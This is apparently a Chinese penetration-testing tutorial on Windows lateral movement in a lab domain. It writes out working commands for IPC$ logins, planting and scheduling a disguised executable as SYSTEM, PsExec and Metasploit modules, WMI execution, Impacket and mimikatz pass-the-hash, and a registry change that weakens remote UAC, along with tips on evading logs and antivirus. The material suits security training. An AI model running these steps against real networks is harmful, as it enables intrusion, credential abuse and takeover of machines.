1.测试环境
god.org域环境:
系统 | 身份 | IP地址 |
win2008 | 域控 | 192.168.124.21 |
win7 | 普通域成员 | 192.168.124.25 |
win2003 | 普通域成员 | 192.168.124.30 |
工作组环境
系统 | 本地账户 | IP地址 |
win7 | mary administrator | 192.168.124.25 |
2.Windows横向渗透方法
(1)基于IPC的横向渗透
IPC$是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$,连接者可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。
利用条件:
139和445端口开启
管理员开启了默认共享:默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(C$,D$,E$...)和系统目录WINNT或WINDOWS(ADMIN$),我们通过IPC连接可以实现对这些默认共享的访问。
命令 :net share,演示三个不同的系统
win7
win8
win2012
建立远程连接时的用户权限问题
建立正常连接net use \\192.168.124.21\ipc$ "Admin12345" /user:"Administrator" 查看本机连接共享情况net use查看已建立连接目标主机的共享资源net view \\192.168.124.21文件的上传下载copy plugin_update.exe \\192.168.124.21\c$\windows\temp\plugin_update.exe创建计划任务之schtasksschtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 16:32 /S 192.168.124.21 /RU System /u administrator /p "Admin12345"立即执行计划任务schtasks /run /tn "plugin_update" /S 192.168.124.21 /u administrator /p "Admin12345"删除本机与指定ip建立的连接net use \\192.168.124.21\ipc$ /del /y删除本机所有已建立的连接net use * /del /y
(2)使用PsExec进行横向渗透(交互)
下载微软官方工具PStools
https://download.sysinternals.com/files/PSTools.zip
PSEXEC执行原理
通过ipc$连接,然后释放psexesvc.exe到目标机器,通过服务管理SCManager远程创建psexecsvc服务,并启动服务,客户端连接执行命令,服务端启动相应的程序并执行回显数据。
无IPC连接时,需要账户密码PsExec.exe \\192.168.124.30 -u 域\username -p password有IPC连接时,无需验证账户密码:PsExec.exe \\192.168.124.30 cmd.exe
win2003
win7
使用MSF的PSexec模块
use exploit/windows/smb/psexecset RHOST 192.168.124.25set smbuser usernmaeset smbpass passwordrun
PSexec横向渗透特点:动静大,会产生大量日志文件,容易溯源,会触发大多数杀毒软件的主机警报,但是可以直接获取system权限
use exploit/windows/smb/psexec_psh
区别在于,psexec_psh使用powershell编码指令模仿老的psexec工具操作,无文件,一定程度上规避了杀毒软件。
(3)使用WMI来横向渗透
WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。当攻击者使用wmiexec来进行攻击时,Windows系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。越来越多的APT事件中也出现了WMI攻击的影子,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。
利用条件:
需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
远程系统的本地安全策略为“网络访问: 本地账户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
wmic会以管理员权限在远程系统上执行命令
防火墙开启将无法连接
wmic /node:192.168.124.30 /user:administrator /password:Admin12345 process call create cmd.exe
window本地的测试工具wmic默认情况下是无法得到回显的
win2003
那有没有可以回显的工具呢?wmiexec.vbs
WMI 可以远程执行命令,作者使用VBS脚本调用WMI来模拟 psexec 的功能。基本上psexec 能用的地方,这个脚本也能够使用。整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC$连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。
获取半交互式shellcscript.exe //nologo wmiexec.vbs /shell 192.168.124.25 username password 在远程系统上执行单条命令cscript.exe wmiexec.vbs /cmd 192.168.124.25 username password "cmdkey /list"
shell模式里面加入了-waitTIME选项,TIME是要等待的时间。当执行的命令后面跟上-wait5000时,表示这个命令等待5s后再读取结果。
impackets套件wmiexec(Linux、window多平台)
执行单条命令wmiexec.exe god.org/administrator:admin!@#45@192.168.124.25 whoami支持hash传递,非WCE注入wmiexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god.org/administrator@192.168.124.25 whoami交互shellwmiexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god.org/administrator@192.168.124.25
(4)mimikatz哈希传递攻击(WCE注入)
哈希注入mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:518b98ad4178a53695dc997aa02d455c" exitdir \\192.168.124.25\c$
横向渗透背后的windows安全机制
(1)LocalAccountTokenFilterPolicy
192.168.124.25
wmiexec工具
Psexec工具
原因??
这是由于windows Vista之后引入了一种默认开启的remote UAC,计算机的任何非SID 500本地管理员帐户在远程计算机上没有特权提升能力,并且用户无法执行管理任务。
微软官方文档:
对于本地用户:
当使用远程计算机上本地管理员组成员的用户通过net use \\remotecomputer\ 命令建立IPC连接的时候不会以完全管理权限的管理员身份连接,用户无法在远程计算机上提升自己的权限,并且无法执行管理任务,如果用户希望使用安全账户管理器(SAM)中的用户管理服务器,则必须通过远程桌面连接来登录
同样官方文档在服务器管理器中配置远程管理中有如下描述:
即使已启用远程管理,内置管理员帐户之外的本地管理员帐户也可能不具有远程管理服务器的权限。必须将远程用户帐户控制(UAC) LocalAccountTokenFilterPolicy注册表设置配置为允许除内置管理员帐户之外的管理员组的本地帐户远程管理服务器。
SID:S-1-5-域-500
名称:Administrator
描述:系统管理员的用户账户。默认情况下,它是唯一能够完全控制系统的用户账户。
所以我们可以使用如下命令,修改主机的注册表键值:LocalAccountTokenFilterPolicy 为1,即执行以下命令:
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
总结:在工作组环境中,由于默认LocalAccountTokenFilterPolicy=0,极大地限制了横向渗透。但是由于一些windows自身或者其他程序的配置,将LocalAccountTokenFilterPolicy设置为1,又为pth等横向手法提供了更多可能。如主机对WinRM进行快速设置的时候,会将LocalAccountTokenFilterPolicy设置为1。
域环境中,remote UAC只是对本地用户进行限制,并没有对域用户进行限制,所以当获取到域管理员的密码或者hash时,我们可以使用上述横向渗透工具对主机进行远程管理。
(2)session 0
明明是最高权限,而且是SID500用户进行远程登录竟然失败了??
session 0特性:
在Windows XP、Windows Server 2003 或早期Windows 系统时代,当第一个用户登录系统后服务和应用程序是在同一个Session 中运行的。Session 0 如下图所示:
但是这种运行方式提高了系统安全风险,因为服务是通过提升了用户权限运行的,而应用程序往往是那些不具备管理员身份的普通用户运行的,其中的危险显而易见。
从Vista 开始Session 0 中只包含系统服务,其他应用程序则通过分离的Session 运行,将服务与应用程序隔离提高系统的安全性。如下图所示:
这样使得Session 0 与其他Session 之间无法进行交互,不能通过服务向桌面用户弹出信息窗口、UI 窗口等信息。这也是system rdp黑屏的原因…
意思就是说system用户是无法使用psexec或者wmi等程序。
所以得进行降权操作!
4.参考
记一次横向渗透
https://www.lz1y.cn/2018/12/26/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%A8%AA%E5%90%91%E6%B8%97%E9%80%8F/
从hash传递攻击谈相关Windows安全机制
https://www.anquanke.com/post/id/85995
MSF 下域内渗透
https://www.cnblogs.com/anbuxuan/p/11849583.html
几种常见远程访问策略详解
https://www.4hou.com/posts/Pjgl
Windows域横向渗透
https://mp.weixin.qq.com/s/-bMrzamrRR9EaKe3kPanwA
内网横向移动之LocalAccountTokenFilterPolicy
https://xz.aliyun.com/t/6888
内网渗透|基于IPC的横向移动
https://www.se7ensec.cn/2020/07/12/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-%E5%9F%BA%E4%BA%8EIPC%E7%9A%84%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/
https://ares-x.com/2020/03/10/%E5%85%B3%E4%BA%8EIPC%E5%92%8CPTH%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E9%97%AE%E9%A2%98/
域渗透基础(二)
https://www.cnblogs.com/leixiao-/p/10586804.html
丢掉PSEXEC来横向渗透
https://www.cnblogs.com/ssooking/articles/6082407.html
利用WMI代替psexec——WMIEXEC.vbs
https://blog.csdn.net/qq_27446553/article/details/46008473
Impacket套件之远程命令执行功能讲解
https://mp.weixin.qq.com/s/kVTAe2BLya-lwOXzKdvHGA
【技术分享】深入分析PsExec执行行为
https://www.anquanke.com/post/id/84921